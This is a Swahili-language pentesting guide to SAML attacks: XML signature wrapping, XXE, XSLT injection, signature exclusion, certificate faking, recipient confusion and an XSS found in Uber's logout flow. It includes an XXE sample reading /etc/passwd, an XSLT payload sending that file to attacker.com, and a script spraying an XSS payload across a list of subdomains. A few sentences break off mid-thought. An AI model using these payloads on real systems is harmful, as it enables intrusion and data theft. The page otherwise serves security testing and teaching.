SAML Attacks

Reading time: 12 minutes

SAML Attacks

Basic Information

{{#ref}} saml-basics.md {{#endref}}

Tool

SAMLExtractor: Chombo ambacho kinaweza kuchukua URL au orodha ya URL na kuchapisha tena URL ya SAML inayotumiwa.

XML round-trip

Katika XML, sehemu iliyosainiwa ya XML huhifadhiwa kwenye kumbukumbu, kisha baadhi ya uandishi/ufafanuzi unafanywa na saini inakaguliwa. Kwa kawaida, uandishi/ufafanuzi huo haupaswi kubadilisha data lakini kulingana na hali hiyo, data inayokaguliwa na data ya awali huenda isiwe sawa.

Kwa mfano, angalia msimbo ufuatao:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Kukimbia programu dhidi ya REXML 3.2.4 au toleo la awali kutasababisha matokeo yafuatayo badala yake:

First child in original doc: Y
First child after round-trip: Z

Hii ndiyo jinsi REXML ilivyoona hati ya XML ya asili kutoka kwa programu hapo juu:

Na hii ndiyo jinsi ilivyoiona baada ya mzunguko wa uchambuzi na uhamasishaji:

Kwa maelezo zaidi kuhusu udhaifu na jinsi ya kuutumia:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

Mashambulizi ya Ufunguo wa XML

Katika mashambulizi ya Ufunguo wa XML (XSW), maadui wanatumia udhaifu unaotokea wakati hati za XML zinaposhughulikiwa kupitia hatua mbili tofauti: uthibitishaji wa saini na kuitwa kwa kazi. Mashambulizi haya yanahusisha kubadilisha muundo wa hati ya XML. Kwa hakika, mshambuliaji anatia vitu vilivyotengenezwa ambavyo havihatarishi uhalali wa Saini ya XML. Manipulasi hii inalenga kuunda tofauti kati ya vitu vinavyotathminiwa na mantiki ya programu na vile vinavyokaguliwa na moduli ya uthibitishaji wa saini. Kama matokeo, wakati Saini ya XML inabaki kuwa halali kiufundi na inapita uthibitishaji, mantiki ya programu inashughulikia vitu vya udanganyifu. Kwa hivyo, mshambuliaji anafanikiwa kupita ulinzi wa uaminifu wa Saini ya XML na uthibitishaji wa asili, kuruhusu kuingiza maudhui yasiyo na mipaka bila kugundulika.

Mashambulizi yafuatayo yanategemea hiki kipande cha blogu na hati hii. Hivyo angalia hizo kwa maelezo zaidi.

XSW #1

• Mkakati: Kipengele kipya cha mzizi kinachoshikilia saini kinaongezwa.
• Madhara: Mthibitishaji anaweza kuchanganyikiwa kati ya "Jibu halali -> Uthibitisho -> Mtu" na "Jibu mbaya mpya -> Uthibitisho -> Mtu" wa mshambuliaji, na kusababisha matatizo ya uaminifu wa data.

XSW #2

• Tofauti na XSW #1: Inatumia saini isiyo na kifurushi badala ya saini inayofunga.
• Madhara: Muundo "mbaya", kama XSW #1, unalenga kudanganya mantiki ya biashara baada ya uthibitisho wa uaminifu.

XSW #3

• Mkakati: Uthibitisho mbaya unaundwa katika kiwango sawa cha hierarchal na uthibitisho wa asili.
• Madhara: Unalenga kuchanganya mantiki ya biashara kutumia data mbaya.

XSW #4

• Tofauti na XSW #3: Uthibitisho wa asili unakuwa mtoto wa Uthibitisho ulioiga (mbaya).
• Madhara: Kama XSW #3 lakini inabadilisha muundo wa XML kwa nguvu zaidi.

XSW #5

• Sifa Maalum: Wala Saini wala Uthibitisho wa asili haufuati mipangilio ya kawaida (iliyofungwa/iliyofunga/isiyo na kifurushi).
• Madhara: Uthibitisho ulioiga unafunga Saini, ukibadilisha muundo wa hati inayotarajiwa.

XSW #6

• Mkakati: Kuingiza mahali sawa kama XSW #4 na #5, lakini kwa mabadiliko.
• Madhara: Uthibitisho ulioiga unafunga Saini, ambayo kisha inafunga Uthibitisho wa asili, ikiumba muundo wa udanganyifu wa ndani.

XSW #7

• Mkakati: Kipengele cha Extensions kinatiwa na Uthibitisho ulioiga kama mtoto.
• Madhara: Hii inatumia muundo wa chini wa schema wa kipengele cha Extensions ili kupita hatua za uthibitishaji wa schema, hasa katika maktaba kama OpenSAML.

XSW #8

• Tofauti na XSW #7: Inatumia kipengele kingine cha XML kisichokuwa na vikwazo kwa toleo la mashambulizi.
• Madhara: Uthibitisho wa asili unakuwa mtoto wa kipengele kisichokuwa na vikwazo, ukirekebisha muundo ulio tumika katika XSW #7.

Chombo

Unaweza kutumia nyongeza ya Burp SAML Raider kuchambua ombi, kutekeleza mashambulizi yoyote ya XSW unayochagua, na kuanzisha.

XXE

Ikiwa hujui ni aina gani za mashambulizi ni XXE, tafadhali soma ukurasa ufuatao:

{{#ref}} ../xxe-xee-xml-external-entity.md {{#endref}}

Majibu ya SAML ni hati za XML zilizopunguzwa na kuandikwa kwa base64 na zinaweza kuwa hatarini kwa mashambulizi ya XML External Entity (XXE). Kwa kubadilisha muundo wa XML wa Jibu la SAML, washambuliaji wanaweza kujaribu kutumia udhaifu wa XXE. Hapa kuna jinsi mashambulizi kama hayo yanaweza kuonyeshwa:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Unaweza pia kutumia nyongeza ya Burp SAML Raider kuunda POC kutoka kwa ombi la SAML ili kujaribu uwezekano wa udhaifu wa XXE na udhaifu wa SAML.

Angalia pia hotuba hii: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT kupitia SAML

Kwa maelezo zaidi kuhusu XSLT nenda kwa:

{{#ref}} ../xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}}

Mabadiliko ya Lugha ya Mtindo wa Kupanuka (XSLT) yanaweza kutumika kubadilisha hati za XML kuwa fomati mbalimbali kama HTML, JSON, au PDF. Ni muhimu kutambua kwamba mabadiliko ya XSLT yanafanywa kabla ya uthibitishaji wa saini ya dijitali. Hii ina maana kwamba shambulio linaweza kufanikiwa hata bila saini halali; saini ya kujisaini au saini isiyo halali inatosha kuendelea.

Hapa unaweza kupata POC ya kuangalia aina hii ya udhaifu, katika ukurasa wa hacktricks ulioelezwa mwanzoni mwa sehemu hii unaweza kupata payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Unaweza pia kutumia nyongeza ya Burp SAML Raider kuunda POC kutoka kwa ombi la SAML ili kujaribu uwezekano wa udhaifu wa XSLT.

Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

XML Signature Exclusion inatazama tabia ya utekelezaji wa SAML wakati kipengele cha Signature hakipo. Ikiwa kipengele hiki hakipo, uthibitishaji wa saini huenda usifanyike, na kufanya iwe hatarini. Inawezekana kujaribu hili kwa kubadilisha maudhui ambayo kawaida yanathibitishwa na saini.

Tool

Unaweza pia kutumia nyongeza ya Burp SAML Raider. Kamatia SAML Response na bonyeza Remove Signatures. Kwa kufanya hivyo, vipengele vyote vya Signature vinatolewa.

Pamoja na saini zilizondolewa, ruhusu ombi liendelee kwa lengo. Ikiwa Signature haitahitajika na Huduma

Certificate Faking

Certificate Faking

Certificate Faking ni mbinu ya kujaribu ikiwa Mtoa Huduma (SP) anathibitisha ipasavyo kwamba Ujumbe wa SAML umetiwa saini na Mtoa Kitambulisho (IdP) anayeaminika. Inahusisha kutumia *cheti chenye saini binafsi kutiwa saini SAML Response au Assertion, ambayo husaidia katika kutathmini mchakato wa uthibitishaji wa uaminifu kati ya SP na IdP.

Jinsi ya Kufanya Certificate Faking

Hatua zifuatazo zinaelezea mchakato wa kutumia nyongeza ya SAML Raider ya Burp:

1. Kamatia SAML Response.
2. Ikiwa jibu lina saini, tuma cheti kwa SAML Raider Certs kwa kutumia kitufe cha Send Certificate to SAML Raider Certs.
3. Katika tab ya SAML Raider Certificates, chagua cheti kilichoumbizwa na bonyeza Save and Self-Sign ili kuunda nakala ya cheti chenye saini binafsi.
4. Rudi kwenye ombi lililokamatwa katika Proxy ya Burp. Chagua cheti kipya chenye saini binafsi kutoka kwenye orodha ya XML Signature.
5. Ondoa saini zozote zilizopo kwa kutumia kitufe cha Remove Signatures.
6. Tiwa saini ujumbe au uthibitisho kwa kutumia cheti kipya kwa kutumia kitufe cha (Re-)Sign Message au (Re-)Sign Assertion, kama inavyofaa.
7. Peleka ujumbe ulio saini. Uthibitishaji wa mafanikio unaonyesha kwamba SP inakubali ujumbe ulio saini na cheti chako chenye saini binafsi, ikifunua udhaifu wa uwezekano katika mchakato wa uthibitishaji wa ujumbe wa SAML.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion na Service Provider Target Confusion zinahusisha kuangalia ikiwa Mtoa Huduma anathibitisha ipasavyo mpokeaji aliye kusudiwa wa jibu. Kwa msingi, Mtoa Huduma anapaswa kukataa jibu la uthibitishaji ikiwa lilikuwa linakusudiwa kwa mtoa huduma tofauti. Kipengele muhimu hapa ni Recipient field, kinachopatikana ndani ya kipengele cha SubjectConfirmationData cha SAML Response. Kipengele hiki kinaelezea URL inayoonyesha mahali ambapo Assertion inapaswa kutumwa. Ikiwa mpokeaji halisi hauendani na Mtoa Huduma aliye kusudiwa, Assertion inapaswa kuonekana kuwa batili.

Jinsi Inavyofanya Kazi

Ili shambulio la SAML Token Recipient Confusion (SAML-TRC) liweze kufanyika, masharti fulani yanapaswa kutimizwa. Kwanza, lazima kuwe na akaunti halali kwenye Mtoa Huduma (inayojulikana kama SP-Legit). Pili, Mtoa Huduma anayelengwa (SP-Target) lazima ukubali token kutoka kwa Mtoa Kitambulisho sawa anaye huduma SP-Legit.

Mchakato wa shambulio ni rahisi chini ya masharti haya. Kikao halali kinaanzishwa na SP-Legit kupitia Mtoa Kitambulisho aliyeshirikiwa. SAML Response kutoka kwa Mtoa Kitambulisho hadi SP-Legit inakamatwa. SAML Response hii iliyokamatwa, ambayo awali ilikuwa inakusudiwa kwa SP-Legit, kisha inarejelewa kwa SP-Target. Mafanikio katika shambulio hili yanapimwa kwa SP-Target kukubali Assertion, ikitoa ufikiaji wa rasilimali chini ya jina la akaunti sawa iliyotumika kwa SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS katika utendaji wa Logout

Utafiti wa asili unaweza kupatikana kupitia this link.

Wakati wa mchakato wa kulazimisha saraka, ukurasa wa logout uligunduliwa katika:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Baada ya kufikia kiungo hiki, kulifanyika uelekezaji kwenda:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Hii ilifunua kwamba parameter ya base inakubali URL. Kwa kuzingatia hili, wazo lilitokea kubadilisha URL na javascript:alert(123); katika jaribio la kuanzisha shambulio la XSS (Cross-Site Scripting).

Mass Exploitation

Kutoka utafiti huu:

Zana ya SAMLExtractor ilitumika kuchambua subdomains za uberinternal.com kwa ajili ya maeneo yanayotumia maktaba ileile. Baadaye, skripti ilitengenezwa kulenga ukurasa wa oidauth/prompt. Skripti hii inajaribu XSS (Cross-Site Scripting) kwa kuingiza data na kuangalia kama inajitokeza katika matokeo. Katika hali ambapo ingizo linaonekana, skripti inatambua ukurasa kama dhaifu.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Marejeo

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/